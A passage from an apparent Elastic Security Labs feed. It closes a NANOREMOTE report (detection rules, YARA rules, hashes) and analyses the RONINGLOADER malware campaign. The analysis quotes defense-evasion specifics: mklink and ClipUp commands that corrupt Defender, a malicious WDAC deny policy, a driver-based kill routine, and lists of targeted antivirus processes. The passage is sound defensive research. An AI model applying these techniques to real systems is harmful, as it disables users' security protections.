<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1087/">Account Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1680/">Local Storage Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/001/">Masquerading: Invalid Code Signature</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
</ul>
<h2>Mitigating NANOREMOTE</h2>
<p>Within a lab environment executing NANOREMOTE, there were many different alerts triggered using <a href="https://www.elastic.co/fr/security/xdr">Elastic Defend</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image6.png" alt="Alert listing" /></p>
<p>One of the main behaviors to validate for defenders is the abuse of using legitimate services such as Google Drive API. Below is an example alert triggered with the Connection to Commonly Abused Webservices rule when interacting with the Google API for both the download and upload of files using NANOREMOTE.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image34.png" alt="Connection to Commonly Abused Webservices" /></p>
<p>The PE loading technique using the Base64 encoded file from the C2 server was also detected via <code>Memory Threat Detection Alert: Shellcode Injection</code> alert.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image10.png" alt="" /></p>
<h3>Detection/Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_with_hardware_breakpoints.toml">Potential Evasion with Hardware Breakpoints</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_image_hollow_from_unusual_stack.toml">Image Hollow from Unusual Stack</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml">Connection to Commonly Abused Webservices</a></li>
<li>Memory Threat Detection Alert: Shellcode Injection</li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code>rule Windows_Trojan_NanoRemote_7974c813 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-11-17&quot;
        last_modified = &quot;2025-11-19&quot;
	 license = &quot;Elastic License v2&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.NanoRemote&quot;

    strings:
        $str1 = &quot;/drive/v3/files/%s?alt=media&quot; ascii fullword
        $str2 = &quot;08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X&quot; ascii fullword
        $str3 = &quot;NanoRemote/&quot; wide
        $str4 = &quot;[+] pwd output:&quot; wide
        $str5 = &quot;Download task %s failed: write error (wrote %llu/%zu bytes)&quot;
        $seq1 = { 48 83 7C 24 28 00 74 ?? 4C 8D 4C 24 20 41 B8 40 00 00 00 BA 00 00 01 00 48 8B 4C 24 28 FF 15 ?? ?? ?? ?? 85 C0 }
        $seq2 = { BF 06 00 00 00 89 78 48 8B 0D ?? ?? ?? ?? 89 48 ?? FF D3 89 78 78 8B 0D ?? ?? ?? ?? 89 48 7C FF D3 89 78 18 8B 0D }
    condition:
        4 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_WMLoader_d2c7b963 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-12-03&quot;
        last_modified = &quot;2025-12-03&quot;
       license = &quot;Elastic License v2&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.WMLoader&quot;
        reference_sample = &quot;fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902&quot;

    strings:
        $seq1 = { 8B 44 24 20 FF C0 89 44 24 20 81 7C 24 20 01 30 00 00 }
        $seq2 = { 41 B8 20 00 00 00 BA 01 30 00 00 48 8B 4C C4 50 FF 15 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902</td>
<td align="left">SHA-256</td>
<td align="left">BDReinit.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">999648bd814ea5b1e97918366c6bd0f82b88f5675da1d4133257b9e6f4121475</td>
<td align="left">SHA-256</td>
<td align="left">ASDTool.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">35593a51ecc14e68181b2de8f82dde8c18f27f16fcebedbbdac78371ff4f8d41</td>
<td align="left">SHA-256</td>
<td align="left">mitm_install_tool.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">b26927ca4342a19e9314cf05ee9d9a4bddf7b848def2db941dd281d692eaa73c</td>
<td align="left">SHA-256</td>
<td align="left"><a href="https://www.virustotal.com/gui/search/name%253A%2522BDReinit.exe%2522">BDReinit.exe</a></td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">57e0e560801687a8691c704f79da0c1dbdd0f7d5cc671a6ce07ec0040205d728</td>
<td align="left">SHA-256</td>
<td align="left">NANOREMOTE</td>
<td align="left"></td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/Security Labs Images 27.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[RONINGLOADER: DragonBreath’s New Path to PPL Abuse]]></title>
            <link>https://www.elastic.co/fr/security-labs/roningloader</link>
            <guid>roningloader</guid>
            <pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovers RONINGLOADER, a multi-stage loader deploying DragonBreath’s updated gh0st RAT variant. The campaign weaponizes signed drivers, thread-pool injection, and PPL abuse to disable Defender and evade Chinese EDR tools.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom <a href="https://learn.microsoft.com/en-us/hololens/windows-defender-application-control-wdac">WDAC</a> policies, and tampering with the Microsoft Defender binary through PPL abuse.</p>
<p>This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.</p>
<h3>Key takeaways</h3>
<ul>
<li>The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender</li>
<li>Threat actors leverage a valid, signed kernel driver to kill processes</li>
<li>Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables</li>
<li>Phantom DLLs and payload injection via thread pools for further antivirus process termination</li>
<li>Final payload has minor updates and is associated with DragonBreath</li>
</ul>
<h2>Discovery</h2>
<p>In August 2025, <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">research</a> was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a>, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.</p>
<h2>RONINGLOADER code analysis</h2>
<p>The <a href="https://www.virustotal.com/gui/file/da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b/detection">initial infection vector</a> is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded <a href="https://nsis.sourceforge.io/Main_Page">Nullsoft Scriptable Install System (NSIS)</a> installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in <a href="https://www.elastic.co/fr/security-labs/getting-gooey-with-guloader-downloader">GULOADER</a>. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.</p>
<p>One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image40.png" alt="RONINGLOADER Execution flow" title="RONINGLOADER Execution flow" /></p>
<p>The attack chain leverages a signed driver named <code>ollama.sys</code> for antivirus process termination. The driver has a signer name of <code>Kunming Wuqi E-commerce Co., Ltd.</code>, with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as <code>慕讯公益加速器 (MuXunAccelerator)</code>, a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like <a href="https://www.virustotal.com/gui/file/507e41a0831a8f3a81f2cd6be76ea4d757f463524f6c93bba15d47984f9e29c1/details"><code>inject.sys</code></a>, contain <a href="https://github.com/Jemmy1228/HookSigntool"><code>HookSignTool</code></a> artifacts including the string <code>JemmyLoveJenny</code>, while the October 2025 <code>ollama.sys</code> sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.</p>
<p>Comparing <code>ollama.sys</code>’s PDB string artifact <code>D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb</code> with other samples, we discovered different artifacts from other submitted samples -</p>
<ul>
<li><code>D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb</code></li>
<li><code>D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb</code></li>
<li><code>C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb</code></li>
<li><code>h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb</code></li>
</ul>
<p>Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image35.png" alt="Digital signature of the driver" title="Digital signature of the driver" /></p>
<h3>Stage 1</h3>
<p>Our analysis began with the initial binary, identified by its SHA256 hash: <code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code>. Extracting it reveals two embedded executables: a benign installer, <code>letsvpnlatest.exe</code>, and the malicious installer <code>Snieoatwtregoable.exe</code>.</p>
<p>The malicious installer, <code>Snieoatwtregoable.exe</code>, creates a new directory at <code>C:\Program Files\Snieoatwtregoable\</code>. Within this folder, it drops two files: a DLL named <code>Snieoatwtregoable.dll</code> and an encrypted file, <code>tp.png</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image10.png" alt="Files dropped on disk" title="Files dropped on disk" /></p>
<p>The core of the malicious activity resides within <code>Snieoatwtregoable.dll</code>, which exports a single function: <code>DllRegisterServer</code>. When invoked, this function reads the contents of the <code>tp.png</code> file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image37.png" alt="XOR decryption routine" title="XOR decryption routine" /></p>
<p>The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the <code>NtAllocateVirtualMemory</code> API, then creates a new thread to execute the shellcode by calling <code>NtCreateThreadEx</code>.</p>
<p>The malware attempts to remove any userland hooks by loading a fresh new <code>ntdll.dll</code>, then using <code>GetProcAddress</code> with the API name to resolve the addresses.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image32.png" alt="Loads a fresh NTDLL" title="Loads a fresh NTDLL" /></p>
<p>The malware attempts to connect to localhost on port <code>5555</code> without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image13.png" alt="Dead code" title="Dead code" /></p>
<h3>Stage 2 - tp.png</h3>
<p>RONINGLOADER first checks whether it has administrative privileges using the <code>GetTokenInformation</code> API. If not, it attempts to elevate its privileges by using the <code>runas</code> command to launch a new, elevated instance of itself before terminating the original process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image31.png" alt="Elevates privileges with RunAs command" title="Elevates privileges with RunAs command" /></p>
<p>Interestingly, the malware tries to communicate with a hardcoded URL <a href="http://www.baidu.com/"><code>http://www.baidu.com/</code></a> with the user-agent <code>“Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”</code>, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.</p>
<p>The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to &quot;True&quot; if any are found.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image11.png" alt="Scans for specific processes" title="Scans for specific processes" /></p>
<p>The following is a table of processes and the associated security products hardcoded in the binary:</p>
<table>
<thead>
<tr>
<th align="left">Process name</th>
<th align="left">Security Product</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>MsMpEng.exe</code></td>
<td align="left">Microsoft Defender Antivirus</td>
</tr>
<tr>
<td align="left"><code>kxemain.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxetray.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxecenter.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>QQPCTray.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QQPCRTP.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QMToolWidget.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>HipsTray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsDaemon.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsMain.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>360tray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
</tbody>
</table>
<h4>AV process termination via injected remote process</h4>
<p>Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.</p>
<p>First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (<code>vssvc.exe</code>) associated with the Volume Shadow Copy (VSS) service.<br />
It first grants itself the high integrity <code>SeDebugPrivilege</code> token.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image2.png" alt="Grants SeDebugPrivilege to itself" title="Grants SeDebugPrivilege to itself" /></p>
<p>It then starts the <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">VSS (Volume Shadow Copy Service)</a> if it is not already running and fetches the PID of its associated process (vssvc.exe).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image26.png" alt="Starts VSS service" title="Starts VSS service" /></p>
<p>Next, the malware uses <code>NtCreateSection</code> to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name <code>\\.\Ollama</code>. The second section contains shellcode intended for execution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image15.png" alt="Mapping section views to the remote process" title="Mapping section views to the remote process" /></p>
<p>RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">by SafeBreach</a> in 2023 with different variants.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image5.png" alt="Injection through ThreadPool tasks" title="Injection through ThreadPool tasks" /></p>
<p>Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> (FNV) algorithm to look up functions by hash instead of by name.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image25.png" alt="FNV algorithm instructions" title="FNV algorithm instructions" /></p>
<p>It first fetches the addresses of <code>CreateFileW</code>, <code>WriteFile</code>, and <code>CloseHandle</code> to write the driver to disk to a hardcoded path, <code>C:\windows\system32\drivers\1912763.temp</code>.</p>
<p>Then it performs the following operations:</p>
<ul>
<li>Create a service named <code>xererre1</code> to load the driver dropped to disk</li>
<li>For each of the following processes (<code>360Safe.exe</code>, <code>360Tray.exe</code>, and <code>ZhuDongFangYu.exe</code>), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID</li>
<li>It then stops and deletes the service <code>xererre1</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image27.png" alt="Function calls to kill Qihoo 360 software processes" title="Function calls to kill Qihoo 360 software processes" /></p>
<p>To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (<code>0x222000</code>) that takes a PID as a parameter and kills the process by first opening it with <code>ZwOpenProcess</code>, then terminating it with <code>ZwTerminateProcess</code> kernel APIs.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image1.png" alt="Kernel driver kills a process by PID" title="Kernel driver kills a process by PID" /></p>
<h4>AV process termination</h4>
<p>Returning to the main execution flow, the malware enters a loop to confirm the termination of <code>360tray.exe</code>, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.</p>
<p>It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image29.png" alt="Function calls to kill the rest of the security solutions" title="Function calls to kill the rest of the security solutions" /></p>
<p>RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:</p>
<ul>
<li>First, it writes the malicious driver to disk, this time to the temporary path <code>C:\Users\analysis\AppData\Local\Temp\ollama.sys.</code></li>
<li>A temporary service (<code>ollama</code>) is created to load <code>ollama.sys</code> into the kernel</li>
<li>The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.</li>
<li>Immediately after the kill command is sent, the service is deleted.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image6.png" alt="Write driver, create service, start service" title="Write driver, create service, start service" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image22.png" alt="Kill by PID and delete the service afterwards" title="Kill by PID and delete the service afterwards" /></p>
<p>Regarding Microsoft Defender, the malware attempts to kill the <code>MsMpEng.exe</code> process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the <code>MsMpEng.exe</code> process. This means that if the process is not running, the malware will send 0 as the PID to the driver.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image23.png" alt="Microsoft Defender process killing" title="Microsoft Defender process killing" /></p>
<p>The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into <code>vssvc.exe</code>, but the list of processes is different, as seen in the screenshot below.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image12.png" alt="Redundant code to kill security processes" title="Redundant code to kill security processes" /></p>
<p>The injection technique also uses threadpools, but the injected code is triggered by an event.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image39.png" alt="ThreadPool injection with an event as a trigger" title="ThreadPool injection with an event as a trigger" /></p>
<p>After the process termination, the malware creates 4 folders</p>
<ul>
<li><code>C:\ProgramData\lnk</code></li>
<li><code>C:\ProgramData\&lt;current_date&gt;</code></li>
<li><code>C:\Users\Public\Downloads\&lt;current_date&gt;</code></li>
<li><code>C:\ProgramData\Roning</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image20.png" alt="Folder creation to drop files" title="Folder creation to drop files" /></p>
<h4>Embedded archives</h4>
<p>The malware then writes three <code>.txt</code> files to <code>C:\Users\Public\Downloads\&lt;current_date&gt;</code>. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.<br />
This custom file structure is organized as follows:</p>
<ul>
<li><strong>Magic Bytes:</strong> The file begins with the signature <code>4B 44 01 00</code> for identification.</li>
<li><strong>File Count:</strong> This is immediately followed by a value indicating the number of files encapsulated within the container.</li>
<li><strong>File Metadata:</strong> A header section then describes the information for each stored file.</li>
<li><strong>Compressed Data:</strong> Finally, each embedded file is stored in a ZLIB-compressed data block.</li>
</ul>
<p>Here’s an example file format for the <code>hjk.txt archive</code>, which contains 2 files: <code>1.bat</code> and <code>fhq.bat</code>.<br />
This archive format applies to 2 other embedded files in the current stage:</p>
<ul>
<li><code>agg.txt</code>, which contains 3 files - <code>Enpug.bin</code>, <code>goldendays.dll</code>, and <code>trustinstaller.bin</code></li>
<li><code>kill.txt</code>, which contains 1 file - <code>1.dll</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image7.png" alt="Archive format for hjk.txt" title="Archive format for hjk.txt" /></p>
<h4>Batch scripts to bypass UAC and AV networking</h4>
<p><code>1.bat</code> is a simple batch script that disables User Account Control (UAC) by setting the <code>EnableLUA</code> registry value to 0.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image28.png" alt="1.bat content" title="1.bat content" /></p>
<p><code>fhq.bat</code> is another batch script that targets the program defined in <code>C:\ProgramData\lnk\123.txt</code> and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image14.png" alt="fhq.bat content" title="fhq.bat content" /></p>
<h4>AV process termination via Phantom DLL</h4>
<p>The deployed DLL, <code>1.dll</code>, is copied to <code>C:\Windows\System32\Wow64\Wow64Log.dll</code> to be side-loaded by any WOW64 processes, as <code>Wow64Log.dll</code> is a <a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">phantom DLL</a> that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (<code>TerminateProcess</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image24.png" alt="Wow64Log.dll Dllmain code" title="Wow64Log.dll Dllmain code" /></p>
<h4>ClipUp MS Defender killer</h4>
<p>The malware then attempts to use a PPL abuse technique documented by <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">Zero Salarium</a> in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through <code>cmd.exe</code> with the <code>ShellExecuteW</code> API</p>
<ul>
<li>It searches for Microsoft Defender's installation folder under <code>C:\ProgramData\Microsoft\Windows Defender\Platform\*</code>, targeting only the directory with the most recent modification date, which indicates the currently used version</li>
<li>Create a folder <code>C:\ProgramData\roming</code> and a directory link with <code>mklink</code> to point to the directory found with the following command: <code>cmd.exe /c mklink /D &quot;C:\ProgramData\roming&quot; “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”</code></li>
<li>It then runs <code>C:\Windows\System32\ClipUp.exe</code> with the following parameter: <code>-ppl C:\ProgramData\roming\MsMpEng.exe</code>, which overwrites <code>MsMpEng.exe</code> with junk data, effectively disabling the EDR even after a restart</li>
</ul>
<p>The author appears to have copied code from <a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">EDR-Freeze</a> to start <code>ClipUp.exe</code>.</p>
<h4>CiPolicies</h4>
<p>The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path <code>C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image33.png" alt="Write policy to disk" title="Write policy to disk" /></p>
<p>The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:</p>
<ul>
<li>Qihoo 360 Total Security by blocking <code>360rp.exe</code> and <code>360sd.exe</code></li>
<li>Huorong Security by blocking <code>ARPProte.exe</code></li>
<li>All executables signed by Huorong Security (<code>北京火绒网络科技有限公司</code>) via certificate TBS hash <code>A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4</code></li>
</ul>
<p>A critical component is the <code>Enabled:Unsigned System Integrity Policy</code> rule, which allows the policy to be loaded without a valid digital signature.</p>
<pre><code>Truncated...
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Inherit Default Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Unsigned System Integrity Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Advanced Boot Options Menu&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Update Policy No Reboot&lt;/Option&gt;
    &lt;/Rule&gt;
  &lt;/Rules&gt;
  &lt;EKUs /&gt;
  &lt;FileRules&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7BF4902DE08CA2D17630&quot; FileName=&quot;*&quot; /&gt;
    &lt;Allow ID=&quot;ID_ALLOW_A_019A298478CE7AB089C369772F34B39B&quot; FileName=&quot;*&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE7DBA9913BFC227DACD14&quot; FileName=&quot;360rp.exe&quot; InternalName=&quot;360rp.exe&quot; FileDescription=&quot;360杀毒 实时监控&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;Deny ID=&quot;ID_DENY_A_019A298478CE763C85C9F42EC8669750&quot; FileName=&quot;360sd.exe&quot; InternalName=&quot;360sd.exe&quot; FileDescription=&quot;360杀毒 主程序&quot; ProductName=&quot;360杀毒&quot; /&gt;
    &lt;FileAttrib ID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; FileName=&quot;ARPProte.exe&quot; MinimumFileVersion=&quot;6.0.0.0&quot; /&gt;
  &lt;/FileRules&gt;
  &lt;Signers&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE7608908CAE58FD9C3D8E&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
      &lt;FileAttribRef RuleID=&quot;ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11&quot; /&gt;
    &lt;/Signer&gt;
    &lt;Signer ID=&quot;ID_SIGNER_A_019A298478CE77F7B523D1581F518639&quot; Name=&quot;&quot;&gt;
      &lt;CertRoot Type=&quot;TBS&quot; Value=&quot;A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4&quot; /&gt;
      &lt;CertPublisher Value=&quot;北京火绒网络科技有限公司&quot; /&gt;
    &lt;/Signer&gt;
  &lt;/Signers&gt;
...Truncated
</code></pre>
<h3>Stage 3 - goldendays.dll</h3>
<p>In the previous stage, RONINGLOADER creates a new service named <code>MicrosoftSoftware2ShadowCop4yProvider</code> to run the next stage of execution with the following command: <code>regsvr32.exe /S &quot;C:\ProgramData\Roning\goldendays.dll</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/roningloader/image34.png" alt="Create MicrosoftSoftware2ShadowCop4yProvider service" title="Create MicrosoftSoftware2ShadowCop4yProvider service" /></p>
<p>The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.</p>
<p>To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:</p>
<ol>
<li>TrustedInstaller (<code>TrustedInstaller.exe</code>)</li>
<li>MicrosoftEdgeElevationService (<code>elevation_service.exe</code>)</li>
</ol>
<p>The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.</p>
